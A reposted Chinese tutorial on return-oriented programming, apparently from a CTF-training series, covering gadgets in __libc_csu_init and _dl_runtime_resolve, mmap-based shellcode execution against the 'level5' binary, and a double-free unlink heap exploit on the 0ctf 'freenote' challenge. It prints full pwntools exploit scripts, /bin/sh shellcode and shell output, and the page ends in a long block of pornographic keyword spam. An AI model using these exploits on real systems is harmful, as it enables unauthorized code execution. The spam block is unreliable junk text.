日韩av黄I国产麻豆传媒I国产91av视频在线观看I日韩一区二区三区在线看I美女国产在线I麻豆视频国产在线观看I成人黄色短片

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

一步一步学ROP之gadgets和2free篇

發布時間:2025/4/16 编程问答 54 豆豆
生活随笔 收集整理的這篇文章主要介紹了 一步一步学ROP之gadgets和2free篇 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

蒸米 · 2015/11/25 10:39

0x00序


ROP的全稱為Return-oriented programming(返回導向編程),這是一種高級的內存攻擊技術,可以用來繞過現代操作系統的各種通用防御(比如內存不可執行和代碼簽名等)。上次我們主要討論了linux_x64的ROP攻擊。

一步一步學ROP之linux_x86篇drops.wooyun.org/tips/6597

一步一步學ROP之linux_x64篇drops.wooyun.org/papers/7551

在這次的教程中我們會帶來通用gadgets和堆漏洞利用的技巧,歡迎大家繼續學習。

另外文中涉及代碼可在我的github下載:github.com/zhengmin198…

0x01 通用 gadgets part2


上次講到了__libc_csu_init()的一條萬能gadgets,其實不光__libc_csu_init()里的代碼可以利用,默認gcc還會有如下自動編譯進去的函數可以用來查找gadgets。

_init _start call_gmon_start deregister_tm_clones register_tm_clones __do_global_dtors_aux frame_dummy __libc_csu_init __libc_csu_fini _fini 復制代碼

除此之外在程序執行的過程中,CPU只會關注于PC指針的地址,并不會關注是否執行了編程者想要達到的效果。因此,通過控制PC跳轉到某些經過稍微偏移過的地址會得到意想不到的效果。

比如說說我們反編譯一下__libc_csu_init()這個函數的尾部:

gdb-peda$ disas __libc_csu_init Dump of assembler code for function __libc_csu_init: ……0x0000000000400606 <+102>: movrbx,QWORD PTR [rsp+0x8]0x000000000040060b <+107>: movrbp,QWORD PTR [rsp+0x10]0x0000000000400610 <+112>: mov r12,QWORD PTR [rsp+0x18]0x0000000000400615 <+117>: mov r13,QWORD PTR [rsp+0x20]0x000000000040061a <+122>: mov r14,QWORD PTR [rsp+0x28]0x000000000040061f <+127>: mov r15,QWORD PTR [rsp+0x30]0x0000000000400624 <+132>: add rsp,0x380x0000000000400628 <+136>: ret 復制代碼

可以發現我們可以通過rsp控制r12-r15的值,但我們知道x64下常用的參數寄存器是rdi和rsi,控制r12-r15并沒有什么太大的用處。不要慌,雖然原程序本身用是為了控制r14和r15寄存器的值。如下面的反編譯所示:

gdb-peda$ x/5i 0x000000000040061a0x40061a <__libc_csu_init+122>: mov r14,QWORD PTR [rsp+0x28]0x40061f <__libc_csu_init+127>: mov r15,QWORD PTR [rsp+0x30]0x400624 <__libc_csu_init+132>: add rsp,0x380x400628 <__libc_csu_init+136>: ret 復制代碼

但是我們如果簡單的對pc做個位移再反編譯,我們就會發現esi和edi的值可以被我們控制了!如下面的反編譯所示:

gdb-peda$ x/5i 0x000000000040061b0x40061b <__libc_csu_init+123>: movesi,DWORD PTR [rsp+0x28]0x40061f <__libc_csu_init+127>: mov r15,QWORD PTR [rsp+0x30]0x400624 <__libc_csu_init+132>: add rsp,0x380x400628 <__libc_csu_init+136>: ret 0x400629: nop DWORD PTR [rax+0x0] gdb-peda$ x/5i 0x00000000004006200x400620 <__libc_csu_init+128>: movedi,DWORD PTR [rsp+0x30]0x400624 <__libc_csu_init+132>: add rsp,0x380x400628 <__libc_csu_init+136>: ret 0x400629: nop DWORD PTR [rax+0x0]0x400630 <__libc_csu_fini>: repz ret 復制代碼

雖然edi和esi只能控制低32位的數值,但已經可以滿足我們的很多的rop需求了。

除了程序默認編譯進去的函數,如果我們能得到libc.so或者其他庫在內存中的地址,就可以獲得到大量的可用的gadgets。比如上一篇文章中提到的通用gadget只能控制三個參數寄存器的值并且某些值只能控制32位,如果我們想要控制多個參數寄存器的值的話只能去尋找其他的gadgets了。這里就介紹一個_dl_runtime_resolve()中的gadget,通過這個gadget可以控制六個64位參數寄存器的值,當我們使用參數比較多的函數的時候(比如mmap和mprotect)就可以派上用場了。

我們把_dl_runtime_resolve反編譯可以得到:

0x7ffff7def200 <_dl_runtime_resolve>: sub rsp,0x38 0x7ffff7def204 <_dl_runtime_resolve+4>: mov QWORD PTR [rsp],rax 0x7ffff7def208 <_dl_runtime_resolve+8>: mov QWORD PTR [rsp+0x8],rcx 0x7ffff7def20d <_dl_runtime_resolve+13>: mov QWORD PTR [rsp+0x10],rdx 0x7ffff7def212 <_dl_runtime_resolve+18>: mov QWORD PTR [rsp+0x18],rsi 0x7ffff7def217 <_dl_runtime_resolve+23>: mov QWORD PTR [rsp+0x20],rdi 0x7ffff7def21c <_dl_runtime_resolve+28>: mov QWORD PTR [rsp+0x28],r8 0x7ffff7def221 <_dl_runtime_resolve+33>: mov QWORD PTR [rsp+0x30],r9 0x7ffff7def226 <_dl_runtime_resolve+38>: movrsi,QWORD PTR [rsp+0x40] 0x7ffff7def22b <_dl_runtime_resolve+43>: movrdi,QWORD PTR [rsp+0x38] 0x7ffff7def230 <_dl_runtime_resolve+48>: call 0x7ffff7de8680 <_dl_fixup> 0x7ffff7def235 <_dl_runtime_resolve+53>: mov r11,rax 0x7ffff7def238 <_dl_runtime_resolve+56>: mov r9,QWORD PTR [rsp+0x30] 0x7ffff7def23d <_dl_runtime_resolve+61>: mov r8,QWORD PTR [rsp+0x28] 0x7ffff7def242 <_dl_runtime_resolve+66>: movrdi,QWORD PTR [rsp+0x20] 0x7ffff7def247 <_dl_runtime_resolve+71>: movrsi,QWORD PTR [rsp+0x18] 0x7ffff7def24c <_dl_runtime_resolve+76>: movrdx,QWORD PTR [rsp+0x10] 0x7ffff7def251 <_dl_runtime_resolve+81>: movrcx,QWORD PTR [rsp+0x8] 0x7ffff7def256 <_dl_runtime_resolve+86>: movrax,QWORD PTR [rsp] 0x7ffff7def25a <_dl_runtime_resolve+90>: add rsp,0x48 0x7ffff7def25e <_dl_runtime_resolve+94>: jmp r11 復制代碼

從0x7ffff7def235開始,就是這個通用gadget的地址了。通過這個gadget我們可以控制rdi,rsi,rdx,rcx, r8,r9的值。但要注意的是_dl_runtime_resolve()在內存中的地址是隨機的。所以我們需要先用information leak得到_dl_runtime_resolve()在內存中的地址。那么_dl_runtime_resolve()的地址被保存在了哪個固定的地址呢?

通過反編譯level5程序我們可以看到[email?protected]()這個函數使用PLT [0] 去查找write函數在內存中的地址,函數jump過去的地址*0x600ff8其實就是_dl_runtime_resolve()在內存中的地址了。所以只要獲取到0x600ff8這個地址保存的數據,就能夠找到_dl_runtime_resolve()在內存中的地址:

0000000000400420 <[email?protected]>:400420: ff 35 ca 0b 20 00 pushq 0x200bca(%rip) # 600ff0 <_GLOBAL_OFFSET_TABLE_+0x8>400426: ff 25 cc 0b 20 00 jmpq *0x200bcc(%rip) # 600ff8 <_GLOBAL_OFFSET_TABLE_+0x10>40042c: 0f 1f 40 00 nopl 0x0(%rax)gdb-peda$ x/x 0x600ff8 0x600ff8 <_GLOBAL_OFFSET_TABLE_+16>: 0x00007ffff7def200gdb-peda$ x/21i 0x00007ffff7def2000x7ffff7def200 <_dl_runtime_resolve>: sub rsp,0x380x7ffff7def204 <_dl_runtime_resolve+4>: mov QWORD PTR [rsp],rax0x7ffff7def208 <_dl_runtime_resolve+8>: mov QWORD PTR [rsp+0x8],rcx0x7ffff7def20d <_dl_runtime_resolve+13>: mov QWORD PTR [rsp+0x10],rdx …. 復制代碼

另一個要注意的是,想要利用這個gadget,我們還需要控制rax的值,因為gadget是通過rax跳轉的:

0x7ffff7def235 <_dl_runtime_resolve+53>: mov r11,rax …… 0x7ffff7def25e <_dl_runtime_resolve+94>: jmp r11 復制代碼

所以我們接下來用ROPgadget查找一下libc.so中控制rax的gadget:

ROPgadget --binary libc.so.6 --only "pop|ret" | grep "rax" 0x000000000001f076 : pop rax ; pop rbx ; pop rbp ; ret 0x0000000000023950 : pop rax ; ret 0x000000000019176e : pop rax ; ret 0xffed 0x0000000000123504 : pop rax ; ret 0xfff0 復制代碼

0x0000000000023950剛好符合我們的要求。有了pop rax和_dl_runtime_resolve這兩個gadgets,我們就可以很輕松的調用想要的調用的函數了。

0x02 利用mmap執行任意shellcode


看了這么多rop后是不是感覺我們利用rop只是用來執行system有點太不過癮了?另外網上和msf里有那么多的shellcode難道在默認開啟DEP的今天已經沒有用處了嗎?并不是的,我們可以通過mmap或者mprotect將某塊內存改成RWX(可讀可寫可執行),然后將shellcode保存到這塊內存,然后控制pc跳轉過去就可以執行任意的shellcode了,比如說建立一個socket連接等。下面我們就結合上一節中提到的通用gadgets來讓程序執行一段shellcode。

我們測試的目標程序還是level5。在exp中,我們首先用上一篇中提到的_dl_runtime_resolve中的通用gadgets泄露出got_write和_dl_runtime_resolve的地址。

#!python #rdi= edi = r13, rsi = r14, rdx = r15 #write(rdi=1, rsi=write.got, rdx=4) payload1 = "\x00"*136 payload1 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(got_write) + p64(1) + p64(got_write) + p64(8) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret payload1 += p64(0x4005F0) # movrdx, r15; movrsi, r14; movedi, r13d; call qword ptr [r12+rbx*8] payload1 += "\x00"*56 payload1 += p64(main)#rdi= edi = r13, rsi = r14, rdx = r15 #write(rdi=1, rsi=linker_point, rdx=4) payload2 = "\x00"*136 payload2 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(got_write) + p64(1) + p64(linker_point) + p64(8) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret payload2 += p64(0x4005F0) # movrdx, r15; movrsi, r14; movedi, r13d; call qword ptr [r12+rbx*8] payload2 += "\x00"*56 payload2 += p64(main) 復制代碼

隨后就可以根據偏移量和泄露的地址計算出其他gadgets的地址。

#!python shellcode = ( "\x48\x31\xc0\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e" +"\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89" +"\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05" )shellcode_addr = 0xbeef0000#mmap(rdi=shellcode_addr, rsi=1024, rdx=7, rcx=34, r8=0, r9=0) payload3 = "\x00"*136 payload3 += p64(pop_rax_ret) + p64(mmap_addr) payload3 += p64(linker_addr+0x35) + p64(0) + p64(34) + p64(7) + p64(1024) + p64(shellcode_addr) + p64(0) + p64(0) + p64(0) + p64(0)#read(rdi=0, rsi=shellcode_addr, rdx=1024) payload3 += p64(pop_rax_ret) + p64(plt_read) payload3 += p64(linker_addr+0x35) + p64(0) + p64(0) + p64(1024) + p64(shellcode_addr) + p64(0) + p64(0) + p64(0) + p64(0) + p64(0)payload3 += p64(shellcode_addr) 復制代碼

然后我們利用_dl_runtime_resolve里的通用gadgets調用mmap(rdi=shellcode_addr, rsi=1024, rdx=7, rcx=34, r8=0, r9=0),開辟一段RWX的內存在0xbeef0000處。隨后我們使用read(rdi=0, rsi=shellcode_addr, rdx=1024),把我們想要執行的shellcode讀入到0xbeef0000這段內存中。最后再將指針跳轉到shellcode處就可執行我們想要執行的任意代碼了。

完整的exp8.py代碼如下:

#!python #!/usr/bin/env python frompwn import * elf = ELF('level5') libc = ELF('libc.so.6') p = process('./level5') #p = remote('127.0.0.1',10001) got_write = elf.got['write'] print "got_write: " + hex(got_write) got_read = elf.got['read'] print "got_read: " + hex(got_read) plt_read = elf.symbols['read'] print "plt_read: " + hex(plt_read) linker_point = 0x600ff8 print "linker_point: " + hex(linker_point) got_pop_rax_ret = 0x0000000000023970 print "got_pop_rax_ret: " + hex(got_pop_rax_ret) main = 0x400564 off_system_addr = libc.symbols['write'] - libc.symbols['system'] print "off_system_addr: " + hex(off_system_addr) off_mmap_addr = libc.symbols['write'] - libc.symbols['mmap'] print "off_mmap_addr: " + hex(off_mmap_addr) off_pop_rax_ret = libc.symbols['write'] - got_pop_rax_ret print "off_pop_rax_ret: " + hex(off_pop_rax_ret) #rdi= edi = r13, rsi = r14, rdx = r15 #write(rdi=1, rsi=write.got, rdx=4) payload1 = "\x00"*136 payload1 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(got_write) + p64(1) + p64(got_write) + p64(8) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret payload1 += p64(0x4005F0) # movrdx, r15; movrsi, r14; movedi, r13d; call qword ptr [r12+rbx*8] payload1 += "\x00"*56 payload1 += p64(main) p.recvuntil("Hello, World\n") print "\n#############sending payload1#############\n" p.send(payload1) sleep(1) write_addr = u64(p.recv(8)) print "write_addr: " + hex(write_addr) mmap_addr = write_addr - off_mmap_addr print "mmap_addr: " + hex(mmap_addr) pop_rax_ret = write_addr - off_pop_rax_ret print "pop_rax_ret: " + hex(pop_rax_ret) #rdi= edi = r13, rsi = r14, rdx = r15 #write(rdi=1, rsi=linker_point, rdx=4) payload2 = "\x00"*136 payload2 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(got_write) + p64(1) + p64(linker_point) + p64(8) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret payload2 += p64(0x4005F0) # movrdx, r15; movrsi, r14; movedi, r13d; call qword ptr [r12+rbx*8] payload2 += "\x00"*56 payload2 += p64(main) p.recvuntil("Hello, World\n") print "\n#############sending payload2#############\n" p.send(payload2) sleep(1) linker_addr = u64(p.recv(8)) print "linker_addr + 0x35: " + hex(linker_addr + 0x35) p.recvuntil("Hello, World\n") shellcode = ( "\x48\x31\xc0\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e" +"\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89" +"\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05" ) # GADGET # 0x7ffff7def235 <_dl_runtime_resolve+53>: mov r11,rax # 0x7ffff7def238 <_dl_runtime_resolve+56>: mov r9,QWORD PTR [rsp+0x30] # 0x7ffff7def23d <_dl_runtime_resolve+61>: mov r8,QWORD PTR [rsp+0x28] # 0x7ffff7def242 <_dl_runtime_resolve+66>: movrdi,QWORD PTR [rsp+0x20] # 0x7ffff7def247 <_dl_runtime_resolve+71>: movrsi,QWORD PTR [rsp+0x18] # 0x7ffff7def24c <_dl_runtime_resolve+76>: movrdx,QWORD PTR [rsp+0x10] # 0x7ffff7def251 <_dl_runtime_resolve+81>: movrcx,QWORD PTR [rsp+0x8] # 0x7ffff7def256 <_dl_runtime_resolve+86>: movrax,QWORD PTR [rsp] # 0x7ffff7def25a <_dl_runtime_resolve+90>: add rsp,0x48 # 0x7ffff7def25e <_dl_runtime_resolve+94>: jmp r11 shellcode_addr = 0xbeef0000 #mmap(rdi=shellcode_addr, rsi=1024, rdx=7, rcx=34, r8=0, r9=0) payload3 = "\x00"*136 payload3 += p64(pop_rax_ret) + p64(mmap_addr) payload3 += p64(linker_addr+0x35) + p64(0) + p64(34) + p64(7) + p64(1024) + p64(shellcode_addr) + p64(0) + p64(0) + p64(0) + p64(0) #read(rdi=0, rsi=shellcode_addr, rdx=1024) payload3 += p64(pop_rax_ret) + p64(plt_read) payload3 += p64(linker_addr+0x35) + p64(0) + p64(0) + p64(1024) + p64(shellcode_addr) + p64(0) + p64(0) + p64(0) + p64(0) + p64(0) payload3 += p64(shellcode_addr) print "\n#############sending payload3#############\n" p.send(payload3) sleep(1) #raw_input() p.send(shellcode+"\n") sleep(1) p.interactive() 復制代碼

成功pwn后的效果如下:

$ python exp8.py [+] Started program './level5' got_write: 0x601000 got_read: 0x601008 plt_read: 0x400440 linker_point: 0x600ff8 got_pop_rax_ret: 0x23950 off_mmap_addr: -0x9770 off_pop_rax_ret: 0xc2670#############sending payload1#############write_addr: 0x7f9d39d95fc0 mmap_addr: 0x7f9d39d9f730 pop_rax_ret: 0x7f9d39cd3950#############sending payload2#############linker_addr + 0x35: 0x7f9d3a083235#############sending payload3#############[*] Switching to interactive mode $ whoami mzheng 復制代碼

0x03 堆漏洞利用之double free


講了那么多stack overflow的例子,我們現在換換口味,先從double free開始講一下堆漏洞的利用。Double free的意思是一個已經被free的內存塊又被free了第二次。正常情況下,如果double free,系統會檢測出該內存塊已經被free過了,不能被free第二次,程序會報錯然后退出。但是如果我們精心構造一個假的內存塊就可騙過系統的檢測,然后得到內存地址任意寫的權限。隨后就可以修改got表將接下來會執行的函數替換成system()再將參數改為我們想要執行的指令,比如"/bin/sh"。最后就可以執行system("/bin/sh")了。

想要學習double free,首先要了解什么是free chunk和allocated chunk。這個在網上有大量的資料,請感興趣的同學自學。

然后要了解Fast bin,Unsorted bin,Small bin和Large bin的概念。這個可以看這篇文章學習:

sploitfun.wordpress.com/2015/02/10/…

除此之外還有個gdb工具可以幫助我們查看內存中堆的信息,這對我們調試程序會有很大的幫助:

github.com/cloudburst/…

等到對堆的基本概念了解的差多了就可以學習如何利用unlink來做到內存寫了。在最早版本的unlink中對內存chunk是沒有任何檢測的,因此我們可以很容易的做到內存任意寫。但現在版本的libc中會對free的那個chunk進行檢測,這個chunk的前一個chunk的bk指針和這個chunk的后一個chunk的fd指針必須指向這個即將free的chunk才行。為了bypass這個檢測,我們必須在內存中找到一個地址X指向P,然后將P的fd和bk指向X。最后再觸發double free的unlink,就可以將P地址的值設置為X了。

我們這次使用0ctf中的freenote這道題來實踐一下double free漏洞的利用。執行這個程序我能看到這其實就是一個note記事本程序。通過new note和delete note可以malloc()和free()內存。

$ ./freenote_x64 == 0ops Free Note == 1. List Note 2. New Note 3. Edit Note 4. Delete Note 5. Exit ==================== 復制代碼

但是這個程序有兩個漏洞,一個是建立新note的時候在note的結尾處沒有加"\0"因此會造成堆或者棧的地址泄露,另一個問題就是在delete note的時候,并不會檢測這個note是不是已經被刪除過了,因此可以刪除一個note兩遍,造成double free。

首先我們要泄露libc和heap在內存中的地址。因為note的結尾沒有"\0",因此在輸出時會把后面的內容打印出來。因為freelist的頭部保存在了libc的.bss段,因此我們可以見通過刪除兩個note再刪除一個note,然后再建立一個新note的方法來泄露出libc在內存中的地址:

#!python notelen=0x80new_note("A"*notelen) new_note("B"*notelen) delete_note(0)new_note("\xb8") list_note() p.recvuntil("0. ") leak = p.recvuntil("\n")print leak[0:-1].encode('hex') leaklibcaddr = u64(leak[0:-1].ljust(8, '\x00')) print hex(leaklibcaddr) delete_note(1) delete_note(0)system_sh_addr = leaklibcaddr - 0x3724a8 print "system_sh_addr: " + hex(system_sh_addr) binsh_addr = leaklibcaddr - 0x23e7f1 print "binsh_addr: " + hex(binsh_addr) 復制代碼

同樣的如果讓某個非使用中 chunk 的fd欄位指向另一個 chunk,并且讓note的內容剛好接上,就可以把 chunk在堆上的位置給洩漏出來。這樣我們就能得到堆的基址。

#!python notelen=0x10 new_note("A"*notelen) new_note("B"*notelen) new_note("C"*notelen) new_note("D"*notelen) delete_note(2) delete_note(0) new_note("AAAAAAAA") list_note() p.recvuntil("0. AAAAAAAA") leak = p.recvuntil("\n") print leak[0:-1].encode('hex') leakheapaddr = u64(leak[0:-1].ljust(8, '\x00')) print hex(leakheapaddr) delete_note(0) delete_note(1) delete_note(3) notelen = 0x80 new_note("A"*notelen) new_note("B"*notelen) new_note("C"*notelen) delete_note(2) delete_note(1) delete_note(0) 復制代碼

通過泄露的libc地址我們可以計算出system()函數和"/bin/sh"字符串在內存中的地址,通過泄露的堆的地址我們能得到note table的地址。然后我們構造一個假的note,利用使用double free的漏洞觸發unlink,將note0的位置指向note table的地址。隨后我們就可以通過編輯note0來編輯note table了。通過編輯note table我們把note0指向free()函數在got表中的地址,把note1指向"/bin/sh"在內存中的地址。然后我們編輯note0把free()函數在got表中的地址改為system()的地址。最后我們執行delete note1操作。因為我們把note1的地址指向了"/bin/sh",所以正常情況下程序會執行free("/bin/sh"),但別忘了我們修改了got表中free的地址,所以程序會執行system("/bin/sh"),最終達到了我們的目的:

#!python fd = leakheapaddr - 0x1808 #notetable bk = fd + 0x8 payload = "" payload += p64(0x0) + p64(notelen+1) + p64(fd) + p64(bk) + "A" * (notelen - 0x20) payload += p64(notelen) + p64(notelen+0x10) + "A" * notelen payload += p64(0) + p64(notelen+0x11)+ "\x00" * (notelen-0x20) new_note(payload) delete_note(1) free_got = 0x602018 payload2 = p64(notelen) + p64(1) + p64(0x8) + p64(free_got) + "A"*16 + p64(binsh_addr) payload2 += "A"* (notelen*3-len(payload2)) edit_note(0, payload2) edit_note(0, p64(system_sh_addr)) delete_note(1) p.interactive() 復制代碼

執行exp的結果如下:

$ python exp9.py [+] Started program './freenote_x64' b8a75eb2b57f 0x7fb5b25ea7b8 system_sh_addr: 0x7fb5b2278310 binsh_addr: 0x7fb5b23abfc7 20684b02 0x24b6820 [*] Switching to interactive mode $ whoami mzheng 復制代碼

0x04 總結


除了64位的freenote,blue-lotus還弄了一個32位版的freenote給大家練習。這些binary和exp都可以在我的github上下載到:

github.com/zhengmin198…

另外,下篇我會帶來arm上rop的利用,敬請期待。

0x05 參考資料


  • v0ids3curity.blogspot.com/2013/07/som…
  • 掘金ctf
  • 總結

    以上是生活随笔為你收集整理的一步一步学ROP之gadgets和2free篇的全部內容,希望文章能夠幫你解決所遇到的問題。

    如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。

    成人中文字幕+乱码+中文字幕 | 亚洲一区欧美激情 | 欧美精品免费在线观看 | 在线欧美日韩 | 免费看的黄网站软件 | 91在线看黄 | 波多野结衣动态图 | 综合国产在线观看 | 九精品| 日韩av中文在线观看 | www.成人久久 | 日批视频在线 | 在线观看中文字幕av | 视频国产区 | 国产又粗又猛又色 | 人人爽人人爽人人爽学生一级 | 97久久精品午夜一区二区 | 国产不卡视频在线播放 | 亚洲区二区 | 国产在线精品一区二区 | 18av在线视频 | 精品久久久久久久久中文字幕 | 免费日韩 精品中文字幕视频在线 | 久久久久伊人 | 久久久久免费 | 女人久久久久 | 91人人爽人人爽人人精88v | 成人在线视频在线观看 | 日韩二区在线播放 | 97操操操| 91av在线国产 | 亚洲伊人网在线观看 | 国产精品破处视频 | 日韩r级电影在线观看 | 国产精品porn | 久99久视频 | 在线免费观看麻豆 | 国产精品中文字幕在线观看 | 中文字幕日本特黄aa毛片 | 91精品久| 99免费精品视频 | 久热国产视频 | 欧美在线观看视频 | 日韩毛片在线一区二区毛片 | 久久免费观看视频 | 美女视频久久黄 | 日日日日干| 久久精品久久久精品美女 | 久久伊人八月婷婷综合激情 | 日韩美av在线 | 免费观看视频黄 | 在线免费视频a | 国产精品久久久久久久久久久久午夜 | 91热| 婷婷六月在线 | 亚洲第一区在线播放 | 欧美在线观看视频一区二区 | 亚洲精品中文字幕视频 | 国产最新在线 | 热99在线视频 | 99国产精品久久久久老师 | 精品96久久久久久中文字幕无 | 欧美一级日韩三级 | 在线观看av网站 | 久久久麻豆精品一区二区 | 欧美日韩一区二区三区视频 | 国产精品18久久久久久首页狼 | 99精品免费 | 99热只有精品在线观看 | 久久精品视频免费 | 国产精品久久久久永久免费 | 顶级欧美色妇4khd | 亚洲更新最快 | 色欧美综合 | 国产黄色大片 | 五月婷婷激情综合网 | 色在线观看网站 | 久久久久美女 | 麻豆视频观看 | 91人人爽久久涩噜噜噜 | 亚洲最大成人免费网站 | 亚洲 欧美日韩 国产 中文 | 欧美三级高清 | 精品国产乱码久久久久久久 | 久草视频在线资源 | 开心色激情网 | 亚洲午夜久久久影院 | 午夜性盈盈 | 国产亚洲精品久久网站 | 亚洲午夜小视频 | 亚洲综合在线视频 | 国产女人免费看a级丨片 | 亚洲a资源 | 久久久久国产精品厨房 | 国产一级免费播放 | 久久婷婷五月综合色丁香 | 18国产精品福利片久久婷 | 国产高清视频在线 | 久久躁日日躁aaaaxxxx | 视频在线播放国产 | 999热线在线观看 | 成年人视频在线免费 | 狠狠色丁香久久婷婷综 | 日日草视频 | 成人午夜影院在线观看 | 高清不卡一区二区三区 | 最新影院 | 中文字幕在线免费观看 | 黄色大片日本 | 国产高清精 | 国产精品成人一区 | 天天插综合 | 色婷婷狠狠干 | 91天堂素人约啪 | 亚洲国产精品久久久久久 | 亚洲精品动漫成人3d无尽在线 | 国产精品免费一区二区三区在线观看 | 久久成视频 | 成人免费在线看片 | 成片免费观看视频 | 激情五月网站 | 婷婷干五月| 色资源二区在线视频 | 99久久久国产精品美女 | 国产精品黄色av | 二区三区精品 | 免费视频 三区 | 日韩毛片在线免费观看 | 成年人免费在线播放 | 亚洲视频1区2区 | 四虎最新域名 | 国产一在线精品一区在线观看 | 丝袜美腿在线 | 国产天天爽 | 久久不射电影院 | 最近中文字幕大全中文字幕免费 | 中文字幕日韩精品有码视频 | 久久99精品一区二区三区三区 | 在线欧美最极品的av | 天天综合网在线 | 激情视频亚洲 | 精品在线看 | www.xxxx欧美| 亚洲精品视频在线观看网站 | 一区二区三区在线电影 | 三级黄色片子 | 国产精品中文在线 | 色a在线观看| 91高清免费 | 久久国产网站 | 国产不卡一区二区视频 | 超碰人人国产 | 久久免费观看视频 | 韩日成人av | 免费中午字幕无吗 | 在线成人短视频 | 97视频中文字幕 | 久久尤物电影视频在线观看 | 日韩国产精品久久 | zzijzzij亚洲日本少妇熟睡 | 久久69精品| 免费av在 | 午夜精品电影一区二区在线 | 麻花豆传媒一二三产区 | 国产91粉嫩白浆在线观看 | 日韩av有码在线 | 日韩精品视频免费看 | 中文字幕视频三区 | 九九视频免费在线观看 | 96久久精品 | 午夜久久久精品 | 综合久久久久久久 | 在线国产福利 | 日日夜色| 亚洲综合丁香 | 99c视频高清免费观看 | 免费成人在线网站 | 国产精彩在线视频 | 国产不卡一二三区 | 成人毛片在线观看视频 | 99久久www免费 | 国产成人久久av | 亚洲一区在线看 | 91精品啪在线观看国产 | 五月婷婷激情五月 | 亚洲欧洲精品在线 | 国产这里只有精品 | 狠狠色丁香婷婷综合橹88 | av电影一区二区三区 | 亚洲精品小视频在线观看 | 99九九热只有国产精品 | 91毛片视频 | 亚洲禁18久人片 | 免费av在| 欧美日韩久久不卡 | 国产日韩高清在线 | 国产视频亚洲 | 成人免费视频网站 | av中文字幕剧情 | 91一区在线观看 | 国产一级黄 | 日韩专区一区二区 | 精品国产一区二区三区久久久久久 | 午夜精品电影 | 在线观看黄色 | 伊人伊成久久人综合网站 | 99久久99久久精品国产片果冰 | 99热精品国产 | 在线影院 国内精品 | 亚洲精品小视频 | 在线亚洲欧美视频 | 亚洲成人精品国产 | 欧美日韩一区二区三区在线观看视频 | 亚洲永久精品一区 | 91精品区| 久久综合中文色婷婷 | 国产一区黄色 | 亚洲人在线7777777精品 | 在线播放你懂 | 在线观看aa| 99爱视频在线观看 | 欧美成人精品欧美一级乱黄 | 视频一区在线免费观看 | 99精品国产成人一区二区 | 久久国产精品久久国产精品 | 99热.com| 国产精品久久久毛片 | 久久久国产日韩 | 欧美日韩精品在线播放 | 成人黄大片| 精品国产伦一区二区三区观看方式 | 91精品久久久久久久久久入口 | 亚洲永久精品国产 | 亚洲欧美婷婷六月色综合 | av丝袜在线 | 国产亚洲婷婷免费 | 狠狠的操狠狠的干 | 国产精品porn | 国产精品一区二区av麻豆 | 国产成人一区二区三区影院在线 | 亚洲一二区精品 | 超级碰碰碰碰 | 成人午夜免费剧场 | 狠狠五月天 | 亚洲一区二区三区miaa149 | 91黄在线看| 麻豆精品视频在线观看免费 | 国产又粗又猛又黄又爽的视频 | 亚洲精品一区二区久 | 毛片网在线播放 | 久久黄色美女 | 日日摸日日碰 | 中文字幕日本在线 | www.色午夜.com | 国产拍在线 | 在线观看91av | 国产成人精品国内自产拍免费看 | 国产精品一区二区三区电影 | 曰韩在线 | 香蕉网在线播放 | 国产高清不卡一区二区三区 | 人人澡人人爽 | 97精品超碰一区二区三区 | 永久av免费在线观看 | 操夜夜操 | 香蕉视频网站在线观看 | 免费在线观看成人av | 亚洲激情视频在线 | 欧美一级电影 | 日韩一级黄色av | 91在线免费公开视频 | 亚洲狠狠丁香婷婷综合久久久 | 久久黄色网址 | 日韩视频1区 | 亚洲国产中文字幕在线观看 | 欧美日韩不卡在线观看 | 日日干夜夜干 | 九九在线国产视频 | 免费看wwwwwwwwwww的视频 久久久久久99精品 91中文字幕视频 | av天天澡天天爽天天av | 国产明星视频三级a三级点| 午夜国产福利在线观看 | 深爱激情五月婷婷 | 久久精品一区八戒影视 | 伊人狠狠干| 日韩av中文字幕在线免费观看 | 成人午夜毛片 | 欧美精品成人在线 | 日本69hd| 97超碰在线人人 | 亚洲毛片视频 | 91中文字幕网 | 欧美在线日韩在线 | 91精品久久久久久综合乱菊 | 久久综合电影 | 色婷婷福利视频 | 欧美 亚洲 另类 激情 另类 | 欧美日韩另类在线观看 | 久久国产精品99久久人人澡 | 亚洲成a人片77777潘金莲 | 欧美a视频在线观看 | 亚洲国产资源 | 天天色宗合 | 国产精品日韩在线观看 | 9999精品免费视频 | 视频国产在线观看18 | 久久综合精品国产一区二区三区 | av电影久久 | 天天干,天天操 | 国产一区视频免费在线观看 | 精品婷婷 | 999精品视频 | 91精品999| 开心色停停 | 黄色成年 | 欧美亚洲精品在线观看 | av永久网址 | 天天射,天天干 | 视频高清 | 婷婷亚洲五月色综合 | 免费看国产曰批40分钟 | h视频在线看 | 久久久久色 | 国产日韩中文字幕在线 | 亚洲欧洲精品视频 | 精品在线观看国产 | 中文字幕在线观看完整版电影 | 涩av在线 | 亚洲九九九在线观看 | 欧美日韩国产页 | 国产精品视频内 | 成人国产电影在线观看 | 国产精品嫩草影院123 | 91香蕉视频污在线 | 韩日精品视频 | 9在线观看免费高清完整版在线观看明 | 最近更新好看的中文字幕 | 久久久麻豆精品一区二区 | 中文一二区 | 国产精品www| 精品一区三区 | 日本精品久久久一区二区三区 | 久久人人爽人人片av | 在线亚洲人成电影网站色www | 国产成人精品一区二区 | 日韩网站免费观看 | 色妞久久福利网 | 久久男女视频 | 日韩午夜电影网 | 手机在线日韩视频 | 成人三级网站在线观看 | 香蕉视频在线免费 | 99视频在线精品国自产拍免费观看 | 伊人官网| 免费观看91| 5月丁香婷婷综合 